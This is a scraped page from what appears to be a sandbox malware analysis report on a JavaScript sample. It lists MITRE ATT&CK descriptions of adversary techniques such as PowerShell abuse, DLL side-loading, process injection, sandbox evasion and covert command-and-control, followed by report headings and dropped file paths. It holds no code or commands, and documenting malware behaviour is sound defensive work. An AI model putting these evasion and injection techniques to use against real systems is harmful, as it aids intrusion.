Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2280028191949810979.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4043a81a-4ee0-4582-8bee-0545f6c135c0.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1088

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
2280028191949810979.js